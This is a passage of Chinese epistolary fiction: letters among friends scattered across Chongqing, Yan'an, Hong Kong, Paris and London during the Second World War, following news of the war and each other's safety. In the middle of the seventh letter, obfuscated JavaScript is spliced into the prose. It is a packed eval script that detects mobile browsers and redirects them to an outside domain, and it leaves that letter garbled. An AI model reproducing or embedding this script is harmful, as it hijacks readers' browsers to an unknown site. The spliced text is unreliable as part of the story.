收件人:陈蔚青 蔚青: 你那封信我读了三遍。你知道的,我不是个喜欢重复阅读的人。但你信里有种特别的气味,好像我也到过了你走过的那些地方。 你说你不是在陈述决定,而是在告诉一个朋友你没放弃。我想回你一句:我也没有。 我是在一场技术培训结束后读到你那封信的,工棚外头刚下过雪,屋檐垂着冰。我手头还有两张电台组装草图要改,可我当时只想坐下来,读你说的每一句话。 你想教孩子们用杠杆逃出去,我在这边教几个年轻人怎样用导线引爆一块信号炸药,让敌人的电报塔停摆一夜。我也在教他们怎么把一个废弃的工厂仓库,改成简易的播音间。 你说得对,现在这个世界真的不讲逻辑了。但我们会把它扭回正轨,我相信我们会的。 我很久没想锅炉房那台机器了。后来想起来,它让我们坐在了一起,我觉得它也会让我们重新走到一起。 你说你不是逃,我当然知道。就算是逃,也是我这辈子见过最勇敢的逃——是逃向一群还不知道什么是“希望”的孩子去的。 你说桂林夜晚的星星多。延安的天,也不差。 你不一定能收到这封信了,因为寄到的那会,你可能已经不在桂林了。到了重庆要给我写信,这样我才知道我该把信往哪里寄。对了,你要是看见了一只信鸽,那可能是我偷偷给你寄的。 沈时砚 书信三:重庆发往香港 寄件人:陈蔚青 收件人:梁悯初 梁老师: 我已安顿在重庆,写完这封信就打算给沈时砚写信,告诉他我到了。 这边比我想的还要更喧嚣一些,城里到处是从各地迁来的学校和人。每一条街巷都混杂着口音与脚步声,像是整个国家都在挤在这片山城里避雨。我教初等科学,也管后勤——有时是帮孩子们量体温、涂药水,有时去山坡上的医院做些登记和物资清点的义工活。总之,只要不是坐着发呆,都好。 南州已经完全被控制了,我知道您比我更早知情。那边来的信几乎都不通了。现在炽南写给我的信,怕是只能先到您那里了。如果真有他的消息,哪怕只有一句话,劳您转告我。 他做的事很危险,我知道,也信他。但这信不能不写。因为不写,就好像他真的已经消失了一样。 祝您一切安好。听说香港仍相对平稳,愿您也保重。 此致 敬礼 陈蔚青 书信四:香港发往重庆 寄件人:梁悯初 收件人:陈蔚青 蔚青: 收到你的信时,我刚从中环的图书馆回来。这里的风比南州湿冷,街上人声也不似你那边的混乱,更像潮水涨落,看似平静,实则推着一切悄悄往前。 你写沈时砚,我想我读到信的这时他应已收到你的信,哪怕延安的信路绕得再远。我们这些人都在山路与邮筒间活得像斑鸠,怕惊也怕慢。 你问炽南。他目前还安全。虽然他并未直接给我们写信,但我们知道他还在动:有一批从南州流出的简要物资与情报,署名是个没人认识的代号,字迹我认得,不会有错。 他太忙了。或者说,他把自己忙到没法多写一句话。但只要还在动,就说明他还活着。你想知道的消息,我会是第一个告诉你。 写到这里,忽然想起你十几岁那年第一次坐在窗边说:“老师,我想做点什么。”你现在做的,已经比那时想的更大、更多了。 保重,别太瘦。 梁悯初 书信五:重庆发往巴黎 寄件人:陈蔚青 收件人:黎婉芝 婉芝: 我从南州到了重庆,这之间的事以后有机会再跟你说,但总之这是我的新地址,你一定要记住。前几日听电台说,德国已经入侵波兰。我愣了一下,虽然早有预感,但真听到这句话时,手还是抖了一下。你那边还好吗?巴黎……还安全吗? 重庆人说“天无三日晴”,我现在信了。早上出门还阳光清亮,下午就乌云压顶,好像连天也在摇摇欲坠。 我担心你。我知道你是那种“要死也要站着”的人,可现在不是站或不站的问题,是这个世界本身已经裂开了。你若还有机会逃,就逃。不安全的话,一定要自称是伪政府的人,拜托你,婉芝,一时意气用事,不值得。 你若平安,我哪怕一天见不到你,也能安心一点。你若出事,我怕我再也写不出东西了。 请务必告诉我你还在。 蔚青 书信六:伦敦发往重庆 寄件人:黎婉芝 收件人:陈蔚青 蔚青: 你读到这封信时,我已经不在巴黎了。 我从大使馆出来,坐上那班去加莱的火车时,天空是干净的。没有战机、没有哨音,街边的小贩还在卖花,只是每一个花束都看起来像告别。巴黎沦陷,是我到伦敦后才知道的。我说不清那一刻是更怕,还是更沉静。但幸好我在走之前就收到了你的信,不然我连你的新地址都不知道了。 你信上说让我“自称是伪政府的人”,我理解你。我知道你是怕我就这样客死他乡。 但蔚青,我没法那么做。我看着贝当上台,他像个走错剧场的演员。法国人都说他是一战英雄,可我觉得他连舞台都忘了在哪。 丘吉尔已经发表了演讲,说“我们绝不投降”,戴高乐也号召法国人反抗,虽然不知道他们能撑多久,我希望他们能有像你一样坚强的意志。 我会留下来。在伦敦,我能做的并不多,但我想尽我所能——无论是转述你们的文章,还是传递你寄来的照片、资料,我会尽我所能给你们争取一点援助。我不会自称是伪政府的人,不会违背我的良心。 但你放心,我会活着。只要我还在,就会一直写信给你。 你要撑住。无论山路多陡、水面多乱,你要撑住。 会一直都在的, 婉芝 书信七:重庆发往延安 寄件人:陈蔚青 收件人:沈时砚 时砚: 其实这封信原本应更早写、更早寄出的。前些日子忙得连自己影子都跟丢了,等我终于坐下来提笔时,才发现已经过去太久了。害你不知道我的新地址没法给我写信了。 你那边怎么样?延安冷吗?我前阵子听电台说香港沦陷了,听到那一刻,心口像被什么绊了一下。你觉得梁老师会好吗?他之前偷偷帮南州的组织传消息,我怕他还在香港,被人盯上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655697|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 也不是没有好消息。苏联那边传来莫斯科保卫战的捷报,报纸上说这是“战略性的转折点”,美国加入了我们这边,罗斯福也终于下了重手,切断了石油出口。 我想信它,想信这场乱局终于开始往正确的方向倾斜。 你那边有没有更多消息?有没有什么,是比广播和电台更真实的? 我现在每天都教书,也接一些后勤工作,有时候去医院帮忙。前两天有个孩子画了幅画,说“科学课老师的眼睛像星星”,我笑了半天。 你要好好的,比我更好一点也行。 蔚青 书信八:延安发往重庆 寄件人:沈时砚 收件人:陈蔚青 蔚青: 你信里提到香港,我也听说了。新闻电台说得含糊,但我们这里多少能打听到一点。 梁老师是个聪明人。他一向知道什么能做、什么不能做,也知道在什么时候该退一步。他不会出事的,你放心。 长沙那边,第三次会战终于打赢了。我们这边开会到深夜,一堆人披着棉袄,眼里却有光。有人说:“总算打出一口气来了。”我觉得也是。 你信里说,孩子画了你的眼睛像星星。你就别笑他了。那孩子没说错。你能在这个时候还留在课堂上,那本身就比很多人都亮。 我最近在教电报员训练,也开始研究一些新型的发电机结构图。前几天有个小姑娘来问:“老师,我也能学吗?”我想起你,很想把她送去你那里读书。 我们在做的事,也许现在看不清成果,但它们总会成为未来的一部分。 一切都会好的。慢一些、艰难一些,但会好的。 时砚 书信九:伦敦发往重庆 寄件人:黎婉芝 收件人:陈蔚青 蔚青: 诺曼底登陆啦!!!! 诺曼底登陆啦!!我看见头版报纸的时候,手里的咖啡都掉在地上了,根本顾不上擦,直接冲进街角的报亭,一口气买了三份不同报纸,生怕自己看漏了一行字! 是六月六号,整整六千艘舰艇、几百架飞机、十几万人——他们真的从海上打过去了!伦敦这几天几乎都在颤抖,但那是因为人们在欢呼。蔚青,你能想象吗?街上的人互相拥抱,陌生人递你一块糖,说“Victorywile!” 我还看到了开罗宣言,我看那几行字看了十几遍,手指都抠进纸页里了。 我们终于快走到那一步了吗? 你那边好吗?重庆最近怎么样?我知道你还是在教书,也还在医院帮忙,真想冲过去帮你带一天课,让你多睡两个小时。 我这边……还行。伦敦不像以前那么安全,但至少,我们的飞机也会从这里起飞了,去回击。 现在每一天,我都觉得自己在倒数。 Victorywile,蔚青。 你要等着我回南州。 婉芝 书信十:延安发往重庆 寄件人:沈时砚 收件人:陈蔚青 蔚青: 八月初的消息,电台反复播报着,字句几乎是用火烧出来的。那种力量……我无法想象,也不敢想象。但如果它意味着一切要结束了——我愿意承受所有的震惊。 我们终于要胜利了吗? 你知道的,我一向不轻易相信“终点”这种东西。但这次,我真的觉得,这一切快要结束了。 我知道,这封信真正抵达你手上的时候,或许一切已经尘埃落定。胜利了也说不定,或者正在谈判。不管怎样,我先写下这句话—— 如果我们胜利了,我们在南州见。 老地方,你知道我说的是哪儿。 不知道罗炽南还好不好。自从香港沦陷后,就没再有过他的消息。有时候半夜做梦,会梦见他背着一大口袋传单穿过码头的旧巷子,一边跑一边骂脏话。 但我相信他。像他那种人,不管在哪,都有办法活下去的。他心太硬了,命也太硬了。 反正我信他。 蔚青,想见你了。想见你笑,也想看你皱眉,说我做事不靠谱。 如果我们真的赢了,等我回来。 沈时砚